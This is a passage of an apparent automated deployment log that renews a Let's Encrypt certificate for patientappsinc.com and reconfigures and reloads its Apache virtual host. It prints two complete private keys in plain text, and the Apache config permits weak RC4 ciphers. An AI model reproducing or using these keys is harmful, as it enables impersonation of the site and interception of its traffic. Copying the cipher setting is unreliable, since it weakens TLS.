ggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDYCVU7lE96/8gWGW+UT4WrsPj8XodV
Jg8V0S5yu0VLFAAAAZ5YkgJVAAAEAwBHMEUCIQDdZSvv/MiCgwkLYdf9658dvLDy
mT3Q+zj+NEBeEZ2zTQIgJNq8ZZ3BUscWSnrSnOos5CRAB7IV6R3FxblivatGKWkA
fgBs/lAZQ6heqRa8UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAAAZ5YkgVyAAgAAAUA
DQs6jwQDAEcwRQIgBoZR+WF626kAGQI8q5Dzv16Jou26MgF5U60YW//P8GECIQDx
KFtzAp/rW/8bOejQrHqQEqfFFHLoI63DhO/7BX+LNDANBgkqhkiG9w0BAQsFAAOC
AQEAFLgrhhuj1rSzV82/rydOlFRWT/Xxc+/m5Vg0ivE4VFnjOSyUbf6rmCgDZZxH
LyMZroRV+a/JLTvrJ0uOyIdzCF0HPLptpqJlrqhsiCmOYAjceMoFMxMgDhyM/vcu
g90eRTw/bvzcXNntCLp0ELygvghYfStzt0q1WsBduMaa+wNxz4oOWfup66tUjpi8
M3DKuHGoRVfLBlPiE208qcNhUCv4O6RM/rxc/qS5ndbq/XHDP69Ejoz6G5LbwCcg
1qIzhSsY6qdBHda5+Hv+15NaLvxgWuGxsKwqnGPDp04cqt293k/PswlZsO4hNZ4M
DtNOpcLh9HQxbPZGpl0gFUibQw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCb7b6v0poC0tc6
R0SBHkkRz7xy+j4BRIHQrfzPryjuEHMB2t7wpXrBcmWzqsBTBWgBvUUNrF7P1IcV
Y1N5BEYAmzVenXuX/44giLRY+SioliVLQXxyQLGJ/yaaz0BI+5mcfzpRun6QnSbg
I831sk2V7A/e7U05AUk4q8zvVSv8YxXotA7MAcfW0kEqBefy/jz1VpGIass+FP1j
foftbgc6CV9KtFzmgeNV0JXFhE+g6x5eVZgzejGI81gFpFvpbebY/Zf8oSxgQqTa
dUgsoKn9PaZqzzmsbSKcaqPknmlzj4xy9dDg9JLnEx4CEvGFQhjySqp/oU27Lt/U
TOIYvSupAgMBAAECggEAFzPRZChacoEdNbbVIsF27geTayiBgX7IMl0xeVX/KS2Z
b3U6J2T4V0DGkW2fILt1No0LcXVsxlBBqZUWHrPcFssBrgqREZUdeQnejD7HJg7x
jbk442dtA7PL8s1UK4gE25yy+OZfXvWDi2bIhv75PI3b7rgw/YKLertVy2dJHE0G
tk4wiJvQ6CI4nKEni/ZVWR/HzLAoDtLzymb0nI58jiizz8ycw7g1RYGh2uUMLp+I
KmRFsGNryuD/7BLwBSys8W0CoRfWp/yEHZYsblSE6XA69gjR1gZEJlYJIEkf3aUp
tKPqJyrm7aeKSHaWKb+CkB4ephyP9yv459rc8N9H4QKBgQDRlvSymjDIkqPVhgxU
sv1ZhHec0zvIlclvuD4Rbw0TM67OFaKfJtgnh3+Jj5gloMZ0bxNxthMEYnv1I5qG
LmN8aZLWiOjck2ISCdqgWlTJ1M9i/N4rmTHYW7ItxSYX66C6X1R26EPdvqDfXefs
7xF780Q51lWlrLN8ozolrnmBfwKBgQC+dOZzvz9r8mfxcigWXu4pztHpQAAN0Iml
rejqU3SqMKMtpnZs4wYceD30Jp7nwGnJziutZxzvCE8zf3gxFM0Jq9kdEL3HTLBf
ukh9SBYHRegppN1RTt8KFFn4yscRTP+jaFN4V3s0nk0TK2P3WO23rVBlNbTryovE
HXGIp6+W1wKBgHTZjo9Mu8n3R3QyCgnmyKzx16YNdpU8PVQWCjS6DzYXaGvpUAMf
Kv/O4WIWNqMz4bDkhJivBCc7qRRgxzPsBPdF/OGy7vCbEuAvsj4YXpEwHnd3t33j
KREQ/mPaOIS5j6CYqYSptbyZHSOrPTSxjLPoSq9cOd/mSyM/9ZkwjvmNAoGBALM1
CArtb13BL7Due23hUTQhmT5irCpTiNFOfJTQhjwFm+U+drwqOfvb4F+1X1wtntz2
k/6LwZvhM7T/Qjbcnbl168r/j7LSJDtO6xqHE8MwMi3NJTp2fkPbtnT1SK6sxvYZ
GkFn/1QZh+h7sYpyMOvdtoIlMOGVKkIUelndfsjtAoGAdHf17pwRls4t7vsmMabo
lp+NyStjfcfsMXktgTCAkzZrz6fGeqUeN/VR7BmY/8NP8gPGGVP1DtaQFFDHpw1/
NQFEq5JdKBSHRpLoZo/4QOm0COMOMIR9ZjOYgUtr69AiD9S764QqmSvYA1VhBaet
tHg7uAooR4V/WlHUn9AHzg8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-24 06:00:26: Establishing a connection
2026-05-24 06:00:26: Establishing a connection
2026-05-24 06:00:27: 

PUT: /tmp/pkp386673

#!/bin/bash
if [ -d "/var/www/patientappsinc_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-24 06:00:27: 

chmod 755 /tmp/pkp386673; /tmp/pkp386673; rm /tmp/pkp386673

2026-05-24 06:00:27: 


1


2026-05-24 06:00:28: Establishing a connection
2026-05-24 06:00:29: 

PUT: /tmp/pkp563352

#!/bin/bash
mkdir -p "/var/www/patientappsinc_www/.well-known/acme-challenge/"
cd "/var/www/patientappsinc_www/.well-known/acme-challenge/"
cat > q5C4GOvdL3mWZW_kqflELNehh05Xmonk8iXjwAaYW9k <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
q5C4GOvdL3mWZW_kqflELNehh05Xmonk8iXjwAaYW9k.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 q5C4GOvdL3mWZW_kqflELNehh05Xmonk8iXjwAaYW9k
cat > SIwLZ9R_uXL1pD8Auagq3En-Ki-Ji5Yv1DMWhPPTH1A <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
SIwLZ9R_uXL1pD8Auagq3En-Ki-Ji5Yv1DMWhPPTH1A.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 SIwLZ9R_uXL1pD8Auagq3En-Ki-Ji5Yv1DMWhPPTH1A
cat > mSTlK7m4lrEfiqA_GtHEoWGvmcP1HaHY6pXEf_6UlQ8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
mSTlK7m4lrEfiqA_GtHEoWGvmcP1HaHY6pXEf_6UlQ8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 mSTlK7m4lrEfiqA_GtHEoWGvmcP1HaHY6pXEf_6UlQ8
cat > PQTjJ7K_FcttbfrWVmljoiG4xkxASrpYqZZ8bhJokSk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
PQTjJ7K_FcttbfrWVmljoiG4xkxASrpYqZZ8bhJokSk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 PQTjJ7K_FcttbfrWVmljoiG4xkxASrpYqZZ8bhJokSk


2026-05-24 06:00:29: 

chmod 755 /tmp/pkp563352; /tmp/pkp563352; rm /tmp/pkp563352

2026-05-24 06:00:29: 




2026-05-24 06:00:42: Establishing a connection
2026-05-24 06:00:42: 

PUT: /tmp/pkp336408

#!/bin/bash
mkdir -p "/var/www/patientappsinc_www/.well-known/acme-challenge/"
cd "/var/www/patientappsinc_www/.well-known/acme-challenge/"
rm q5C4GOvdL3mWZW_kqflELNehh05Xmonk8iXjwAaYW9k
rm SIwLZ9R_uXL1pD8Auagq3En-Ki-Ji5Yv1DMWhPPTH1A
rm mSTlK7m4lrEfiqA_GtHEoWGvmcP1HaHY6pXEf_6UlQ8
rm PQTjJ7K_FcttbfrWVmljoiG4xkxASrpYqZZ8bhJokSk


2026-05-24 06:00:42: 

chmod 755 /tmp/pkp336408; /tmp/pkp336408; rm /tmp/pkp336408

2026-05-24 06:00:42: 




2026-05-24 06:00:42: Establishing a connection
2026-05-24 06:00:42: 

PUT: /tmp/pkp843188

#!/bin/bash
temp_file=$(mktemp)
TARGET=7CDF9F2FFCE67F19977AD2F2DDA28042.crt

cat > $temp_file <<'endmsg'
45:8f:60:39:60:bd:88:d0:78:aa:23:19:83:41:90:23

-----BEGIN CERTIFICATE-----
MIIFPDCCBCSgAwIBAgISBYFNed52tTaevm2LwNfF/TLyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMjExWhcNMjYwODIyMDUwMjEwWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC+reO0D7TNtS2vFsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhp
ZL45Op4Ck/fz7GyaxxvKShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piN
NGGjQt8nmm349Lim6lyMPHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+il
eSZTiMGSiHpb0PLxEBQVvy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5
//te+NEO7WPgLCOgCZf2wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2a
M4m6/wxW26qH+fXTz7Lsy9x4udYHAgMBAAGjggJeMIICWjAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
jBYyYIzOMIf976lQjRHWp78qEAAwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzBbBgNVHREEVDBSgg9wYXRpZW50YXBwcy5jb22CEnBhdGllbnRh
cHBzaW5jLmNvbYITd3d3LnBhdGllbnRhcHBzLmNvbYIWd3d3LnBhdGllbnRhcHBz
aW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzExNS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAfgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ5YkkYC
AAgAAAUAB3qllgQDAEcwRQIhAMicLS+OKAhViwQjD2OQ+1TaFYqFdrnBgs/q54wk
ffJrAiAAkx/XinNg5PNAilF0IxmHE5vJX+6TjuB8PLaL/6qHZwB1AK9niDtXsE7d
j6bZfvYuqOuBCsdxYPAkXlXWDC/nhYc6AAABnliSRlUAAAQDAEYwRAIgfUzQ5gCf
8gR3Ur4wqaP/rOTnjfod7JdyRcxosJTYxZgCIEtSyBNR2hHy9+/FLA0Hs32DDp/w
UjJJwJMoVJuKFO3sMA0GCSqGSIb3DQEBCwUAA4IBAQCeIJutF1EUKpVI1/zXvzIt
1LPjHUCQFUJZcTqWsLzN9fLtz5o+jpAlPKZAbMumnRFlOlMPCcze7JmoEWgr9UkJ
q7NbqJWIOusc1TmlwXiW4fzzNRjwzwGA7NSioVa1ojSom4ZfSH3B3bLGYam2CFlV
k/p7hE95/veXjARpz7TGpIF0F5EXMMFZJMVOwcNYf/3zA19Ux6JNtYNaYfV48SDz
CbOvpW9StFRgLGd5JNYKCLrfg0zIa4FrJM6VLDhBIgUG1YnBDY8Kh0LFBlX2+cG+
4Ejy8Wc769NqcUWRmN3DkSDcWyx52fDXZWphKliBKMdQXNlh7OHglUWYo+oDfNTg
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC+reO0D7TNtS2v
FsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhpZL45Op4Ck/fz7GyaxxvK
ShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piNNGGjQt8nmm349Lim6lyM
PHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+ileSZTiMGSiHpb0PLxEBQV
vy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5//te+NEO7WPgLCOgCZf2
wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2aM4m6/wxW26qH+fXTz7Ls
y9x4udYHAgMBAAECggEAASwBtVQ9YgTYZq0CWfaJxO8ZQ2xFDdPbRF7dscoyvERz
pP5M6a2L3fokg8HhiSCmdPW9/nQl45Xr1LtgQN3T0YMgbW2Zs+jnbB8IeBrJBeFf
FX3FkPce4Dl7cK66hOSRQByPggofkmefDLS89cYmkO1mR50WZLKRWGBA0sIdfdLi
LZnGwwEH01JL1V3O+ZJr6CKgdpyDrqTP+NEjTtIrAcUMtlyxwHrUDbPExAOYG/Sj
vV2Qgf1QOFCng+zsh8Zv0z6bBx/2Kz515cqFzqqZavVwiX+bqHnI+BAcj0ONgLK3
Rg1Rv5zJRAXn5JQhyVmSyuTtlIpIuUD2HnCmYz0QWQKBgQD+HtXkuxnPwJ2mr0F7
Z7bakHO8SPip7sOfi449k6PrrPWzY4J1ssytV3XddirITUYF6ZCGLc7/82ztXyfz
9HTz8ygeX/ZZqcBLXRLMI4j7qt9w57Pyp2b2yVSxbJ01mej9FS+fEPHEj4HHAS6L
AXLtz1WNj+fzu3g5KfJNjmagaQKBgQDAFu5iL2n0CzXnj8EkqgNavLybgqyyr6HS
KMmsVLtGSumsv83JEb23OkQ8stRIRQl6iofbpA3x47XB5BBxBZIOEY38LC9WVqzQ
DK/5VRwKODXPa6w7UdoIBFZ13dbY87MUKo2IGGRYexxBIabszdapyTYAbw3kEBkL
GQaz5Rb07wKBgQCRuYETD7A3kM9XHL1CVTFomNmlqXrfiAoqXc8NxLKFncOwQWo4
sHXrGXJ/sxnJj3aOQWgdafuAj0lxvdWdchv3IQNql8Efndal4RO8eMw+9bf4eQaa
KiFDeCTXMd/dMwuGxjVu1Dqwa1MSmbzk/cm4UeNPsKxk+qZwsXs/ul9jsQKBgQCY
+mo09a+69KakWN8n9OIhBEhszN/+mlMUjPk37m8K5yQ8OLCJnkBpyNSJRp47RAft
eKAD8x5L8t5QoPHbIOWVoLNkDkhQyUxtkH0g44AmP2fTXdvXjjNGyTWWPusY8tQ+
jjkTFuHreXgiAsvusWtw4lbId6knZQ6cwPyOjjb/LwKBgC5E4+W6389KtgluZxe2
LCkIaITvyiHpC2xw21XE45BPUk64tpeANJl5jDpwm7yAx9bktOiip3I1Os6Hc5KE
jkaAu8dTkKTyaNyNtJpChaEjRotQdnMueUMV+/BdZrziiD0NnyGmCeSFDEJydzT8
HdxsGB6UeepFoFw6EdlpDpDP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-24 06:00:42: 

chmod 755 /tmp/pkp843188; /tmp/pkp843188; rm /tmp/pkp843188

2026-05-24 06:00:42: 


dir=/etc/ssl/certs


2026-05-24 06:00:42: 

PUT: /tmp/pkp493122

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientappsinc_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-24 06:00:42: 

chmod 755 /tmp/pkp493122; /tmp/pkp493122; rm /tmp/pkp493122

2026-05-24 06:00:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf 46
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www/public
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www/public
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>






2026-05-24 06:00:42: 

PUT: /tmp/pkp794241

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientappsinc_www_com.conf
TARGET=/etc/apache2/sites-enabled/patientappsinc_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www/public
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www/public
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientappsinc_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientappsinc_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf= 1'
fi


2026-05-24 06:00:43: 

chmod 755 /tmp/pkp794241; /tmp/pkp794241; rm /tmp/pkp794241

2026-05-24 06:00:43: 




2026-05-24 06:00:43: 

PUT: /tmp/pkp287429

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-24 06:00:43: 

chmod 755 /tmp/pkp287429; /tmp/pkp287429; rm /tmp/pkp287429

2026-05-24 06:00:43: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 06:00:43: Establishing a connection
2026-05-24 06:00:43: 

PUT: /tmp/pkp950706

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-24 06:00:43: 

chmod 755 /tmp/pkp950706; /tmp/pkp950706; rm /tmp/pkp950706

2026-05-24 06:00:43: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
